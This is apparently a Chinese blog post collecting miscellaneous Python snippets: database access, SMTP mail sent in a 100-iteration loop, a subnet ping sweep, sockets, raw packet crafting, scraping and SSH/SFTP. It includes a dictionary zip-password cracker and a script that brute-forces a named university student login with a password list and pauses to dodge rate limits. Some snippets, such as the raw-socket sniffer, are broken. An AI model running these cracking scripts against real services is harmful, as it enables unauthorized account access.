python 常用代码块

#coding:utf-8 
#其实“8 位”只是显示一个字符需要的最小位数,而不是最大位数。
import pymysql,re
  
# 创建连接
conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='root',db='liu')
# 创建游标
cur = conn.cursor()
  
# 执行SQL,并返回收影响行数
#effect_row = cursor.execute("update hosts set host = '127.0.0.1'")

cur.execute("insert into gre(name,owner) values('dafa','dsfa')")
#insert into gre(name,owner) values('jerichen','gdsz');
cur.execute("SELECT * FROM gre")
for r in cur.fetchall():
    
    if re.match(r"^ds*",r[1],re.I):
        print r
    else:
        print "not found"
   

# 执行SQL,并返回受影响行数
#effect_row = cursor.execute("update hosts set host = '1.1.1.2' where nid > %s", (1,))
  
# 执行SQL,并返回受影响行数
#effect_row = cursor.executemany("insert into hosts(host,color_id)values(%s,%s)", [("1.1.1.11",1),("1.1.1.11",2)])
  
  
# 提交,不然无法保存新建或者修改的数据
conn.commit()
  
# 关闭游标
cur.close()
# 关闭连接
conn.close()



#coding=utf-8
from email.mime.text import MIMEText
from email.header import Header
from smtplib import SMTP_SSL
import sendmail

def s_mail():
    #qq邮箱smtp服务器
    host_server = 'smtp.qq.com'
    #sender_qq为发件人的qq号码
    sender_qq = '2584dfsa041'
    #pwd为qq邮箱的授权码
    pwd = 'aaaa'
    #发件人的邮箱
    sender_qq_mail = '258sfsdf6041@qq.com'
    #收件人邮箱
    receiver = '1608safsaf23@qq.com'
    #邮件的正文内容
    mail_content = '你好,现在在进行一项用python登录qq邮箱发邮件的测试 http://www.anquanquan.info/'
    #邮件标题
    mail_title = '牛伟伟'

    #ssl登录
    smtp = SMTP_SSL(host_server)
    #set_debuglevel()是用来调试的。参数值为1表示开启调试模式,参数值为0关闭调试模式
    smtp.set_debuglevel(1)
    smtp.ehlo(host_server)
    smtp.login(sender_qq,pwd)

    msg = MIMEText(mail_content, "plain", 'utf-8')
    msg["Subject"] = Header(mail_title, 'utf-8')
    msg["From"] = sender_qq_mail
    msg["To"] = receiver
    smtp.sendmail(sender_qq_mail, receiver, msg.as_string())
    smtp.quit()
    #print(type(sender_qq))
if __name__ == '__main__':
    for i in range(100):
        s_mail()


# coding=UTF-8"
import subprocess
import re
import threading
'''
s='TTLdfaf ttl TTL'
if re.search('TTL','fassf TTLasdasd fsaf'):
    print('yes')
else:
    print('no')
'''
def ip_scan(i):
    cmd='ping 192.168.100.'+str(i)+'\n'
    PIDS=subprocess.getstatusoutput(cmd)
    #print(PIDS)
    #print(PIDS[0])
    #print('PIDS ',type(PIDS))
    #print('PIDS[1]')
    if re.search('TTL',PIDS[1]):
        print('192.168.100.'+str(i)+' is online')
    else:
        #print('192.168.43.'+str(i)+' is no online')
        pass
    #print(len(cmd))
    #print(cmd)

def main():
    for i in range(1,255):
        t = threading.Thread(target=ip_scan,args=(i,))#参数传递格式
        t.start()
        #t.join()
    #ip_scan(cmd)
if __name__ == '__main__':
    main()


import socket

HOST = '192.168.43.73'
PORT = 10882
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)
conn, addr = s.accept()
print('Client\'s Address:', addr)
while True:
    data = conn.recv(1024)
    print("Receive Data:",data.decode('utf-8'))
    if not data:
        break
    conn.sendall(data)
conn.close()


# coding=UTF-8
import socket

HOST = '192.168.43.73'
PORT = 10882
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = "hello!"
while data:
    s.sendall(data.encode('utf-8'))
    data = s.recv(512)
    print("Receive from server:\n",data.decode('utf-8'))
    data = input('please input a info:\n')
s.close()



import urllib2
url='https://www.baidu.com'

response=urllib2.urlopen(url)
print response
print response.read()


#coding=utf-8
from ctypes import *
import struct
import socket
import os,sys
host='192.168.43.73'


class IP(Structure):
    _field_=[
        ('type',c_ubyte,4),
        ('headlengh',c_ubyte,4),
        ('dsf',c_ubyte),
        ('tl',c_ushort),
        ('iden',c_ushort),#('iden',c_uchar),
        ('flg',c_ubyte),
        ('offset',c_ubyte),
        ('ttl',c_ubyte),
        ('pro_num',c_ubyte),
        ('chk',c_ushort),#('chk',c_uchars),
        ('sip',c_ulong),
        ('dip',c_ulong)
        ]

    
    def __new__(self,socket_buffer=None):
        return self.from_copy_buffer(socket_buffer)

    def __init__(self, socket_buffer=None):
        self.protocol_map={1:"ICMP",6:"TCP",17:"UDP"}
        self.s_ip=scoket.inet_ntoa(struct.pack('<L',self.sip))
        self.d_ip=scoket.inet_ntoa(struct.pack('<L',self.dip))
        try:
            self.protocol=self.protocol_map[pro_num]
        except:
            self.protocol=str(self.pro_num)
def ip_header():
    s = socket.socket(socket.AF_INET,socket.SOCK_ROW)
    s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
    s.bind(host,0)
    if os.name = 'nt':
        s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
        while True:
            buffer = s.recv(65535)[0][0:20]
            ipheader = IP(buffer)
            nettype = {'06':'TCP','17':'UDP'}
            if ipheader.pro in  nettype.value:
                ipheader_pro=nettype[ipheader.pro]
                print 'recvfrom %s %s %s'%(ipheader.type,ipheader.headlengh,ipheader_pro)
    else:
        s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

def main():
    ip_header()

if __name__ == '__main__':
    main()


# coding = utf-8
from selenium import webdriver
browser = webdriver.Firefox()
browser.get("https://passport.csdn.net/account/login?ref=toolbar")
browser.find_element_by_id("username").send_keys("")
browser.find_element_by_id("password").send_keys(" ")
browser.find_element_by_class_name("logging").click()
#browser.quit()


#coding=utf-8
import sys
import socket
from impacket import ImpactDecoder, ImpactPacket
 
def main():
 
    if len(sys.argv) < 3:
        print "Use: %s <src ip> <dst ip>" % sys.argv[0]
        print "Use: %s <src ip> <dst ip> <cnt>" % sys.argv[0]
        sys.exit(1)
    elif len(sys.argv) == 3:
        src = sys.argv[1]
        dst = sys.argv[2]
        cnt = 1
    elif len(sys.argv) ==4:
        src = sys.argv[1]
        dst = sys.argv[2]
        cnt = sys.argv[3]
    else:
        print "Input error!"
        sys.exit(1)
#print src, dst
    ip = ImpactPacket.IP()
    ip.set_ip_src(src)
    ip.set_ip_dst(dst)
 
    # Create a new ICMP packet of type ECHO.
    icmp = ImpactPacket.ICMP()
    tcp = ImpactPacket.TCP()
    tcp.set_th_sport(5596)
    tcp.set_th_dport(80)
    tcp.set_th_seq(1)
    tcp.set_th_ack(1)
    tcp.set_th_flags(0x18)
    tcp.set_th_win(64)
 
    #tcp.contains( ImpactPacket.Data("GET /att/DIYLife/41264/528 HTTP/1.1\r\nHost: 192.168.111.1\r\nAccept-Encoding: identity\r\n\r\n"))
    tcp.contains( ImpactPacket.Data("GET HTTP/1.1\r\nHost: 183.232.231.172\r\nAccept-Encoding: identity\r\n\r\n"))
 
    ip.contains(tcp)
 
    # Open a raw socket. Special permissions are usually required.
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    seq_id = 0
    while cnt >= 1:
        # Calculate its checksum.
        seq_id = seq_id + 1
        tcp.set_th_seq(seq_id)
        tcp.calculate_checksum()
 
        # Send it to the target host.
        s.sendto(ip.get_packet(),(dst,80))
        cnt= cnt -1
 
if __name__ == '__main__':
    main()


#coding=utf-8
import urllib
import re,threading,time
x = 0
def getHtml(url):
    page = urllib.urlopen(url)
    html = page.read()
    return html

def getImg(html):
    global x
    reg = r'img src="(.+?\.jpg)"'
    imgre = re.compile(reg)
    imglist = re.findall(imgre,html)
    for imgurl in imglist:
        try:
            urllib.urlretrieve(imgurl,'%s.jpg' % x)
            x+=1
            #time.sleep(0.1)
        except:
            pass
url="http://tieba.baidu.com/"
for i in range(1400,1500):
    urll=url+str(i)+".html"
    html=getHtml(urll)
    t=threading.Thread(target=getImg,args=(html,))
    t.start()


#一维图
import matplotlib.pyplot as plt
from numpy.random import randn
fig=plt.figure()
fig=plt.figure(figsize=(8,4))
ax1=fig.add_subplot(2,2,1)
ax1=fig.add_subplot(2,2,2)
ax1=fig.add_subplot(2,2,3)
#plt.bar(randn(500).cumsum())
l=[]
for i in range(250):
    l.append(i)
plt.title('hello!')
plt.plot(l,'k--')
#plt.legend(loc='upper left')
plt.show()


#coding: utf-8
import os
import zipfile
import optparse
from threading import Thread

def extractFile(zFile,password):
    #print(password)
    try:
        zFile.extractall(pwd=password)
        print'[+] Found password :%s'%password + '\n'
        
    except:
        pass
def main():
    parser = optparse.OptionParser('usage %prog -f <zipfile> -d <dictionary>')
    parser.add_option('-f', dest='zname', type='string',help='specify zip file')
    parser.add_option('-d', dest='dname', type='string',help='specify dictionary file')
    (options, args) = parser.parse_args()
    if (options.zname == None) | (options.dname == None):
        print(parser.usage)
        exit(0)
    else:
        zname = options.zname
        dname = options.dname
    zFile = zipfile.ZipFile(zname) #打开压缩文件
    passFile = open(dname)
    for line in passFile.readlines():
        password = line.strip('\r\n').encode('gbk')
        t = Thread(target=extractFile, args=(zFile, password,))
        t.start()
        t.join() 
        #Join的作用是众所周知的,阻塞进程直到线程执行完毕。通用的做法是我们启动一批线程,
        #最后join这些线程结束;此处join的原理就是依次检验线程池中的线程是否结束,没有结束
        #就阻塞直到线程结束,如果结束则跳转执行下一个线程的join函数。
        #extractFile(zFile, password)
        
if __name__ == '__main__':
    main()


#coding: utf-8
import optparse

def main():
    parser = optparse.OptionParser('usage: %prog –H <target host> -p <target post>')
    #%prog为脚本名称,提示信息
    parser.add_option('-H',dest='tgtHost', type='string', help='specify target') 
    ''' 
    添加选项,dest是存储的变量,add_option用来加入选项,action是有store,store_true,
    store_false等,default是缺省值,store也有其它的两种形式:store_true和store_false ,
    用于处理带命令行参数后面不带值的情况。help是帮助提示
    '''
    parser.add_option('-p', dest='tgtPort', type='int', help='specify target')
    #parser.add_option('-k', dest='tgtkort', type='int', help='specify target')
    #最后通过parse_args()函数的解析,获得选项,如options.tgtHost的值
    (options, args) = parser.parse_args()#option为实例,args为列表
    tgtHost = options.tgtHost
    tgtPort = options.tgtPort
    #args.append(tgtHost)
    args.append(tgtPort)
    print(options)
    print(type(options))
    #print(tgtHost)
    #print(tgtPort)
    print(args)
    print(type(args))
    print(args)  #args为空,或存储命令选项参数以后的值,比如:-p 80 90
    #print(tgtHost)
    #for tp in args:
        #print(tp)
    #for i in range(2):
        #print(options)
    #for th in args:
        #print(th)
        #print(args[2])
if __name__ == '__main__':
    main()


# -*- coding: utf-8 -*-
import socket
import time

strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
          "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
          "Accept-Language: zh-cn\r\n" \
          "Content-Type: application/x-www-form-urlencoded\r\n" \
          "Accept-Encoding: gzip, deflate\r\n" \
          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
          "Host: yjsgl.bjut.edu.cn\r\n" \
          "Content-Length: 47\r\n" \
          "Connection: Keep-Alive\r\n" \
          "Cache-Control: no-cache\r\n" \
          "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
          "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="         

i = 0
target_host = '172.21.96.120'
target_port = 80
for password in open('superdic.txt'):
    i = i + 1
    if i > 100:
        time.sleep(30)
        i = 0
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((target_host, target_port))
    strPacket = strPost + password        
    client.send(strPacket)
    response = client.recv(1024)
    time.sleep(0.3)
    if response.find('Location') != -1:
        print password
        break

#coding=utf-8
import requests,time
from bs4 import BeautifulSoup
def get_captcha(data):
    with open('captcha.gif','wb') as fp:
        fp.write(data)
    return input('输入验证码:')

def login(username,password,oncaptcha):
    sessiona = requests.Session()
    headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'}
    _xsrf = BeautifulSoup(sessiona.get('https://www.zhihu.com/#signin',headers=headers).content,'html.parser').find('input',attrs={'name':'_xsrf'}).get('value')
    captcha_content = sessiona.get('https://www.zhihu.com/captcha.gif?r=%d&type=login'%(time.time()*1000),headers=headers).content
    data = {
        "_xsrf":_xsrf,
        "email":username,
        "password":password,
        "remember_me":True,
        "captcha":oncaptcha(captcha_content)
    }
    resp = sessiona.post('https://www.zhihu.com/login/email',data,headers=headers).content
    print(resp)
    return resp 

if __name__ == "__main__":
    login('your_email','your_password',get_captcha)



# -*- coding:utf-8 -*-
import paramiko

def sftp_upload_file(server_path, local_path):
    try:
        t = paramiko.Transport((host, 22))
        t.connect(username=user, password=password)
        sftp = paramiko.SFTPClient.from_transport(t)
        sftp.put(local_path, server_path)
        t.close()
    except Exception, e:
        print e

if __name__ == '__main__':
    sftp_upload_file("/root/bug.txt", "D:/bug.txt")


# -*- coding:utf-8 -*-
import paramiko

def sftp_down_file(server_path, local_path):
    try:
        t = paramiko.Transport((host, 22))
        t.connect(username=user, password=password)
        sftp = paramiko.SFTPClient.from_transport(t)
        sftp.get(server_path, local_path)
        t.close()
    except Exception, e:
        print e

if __name__ == '__main__':
    sftp_down_file("/root/test.txt", "D:/text.txt")


import paramiko
 
# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='c1.salt.com', port=22, username='GSuser', password='123')
# 执行命令
stdin, stdout, stderr = ssh.exec_command('ls')
# 获取命令结果
result = stdout.read()
# 关闭连接
ssh.close()

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值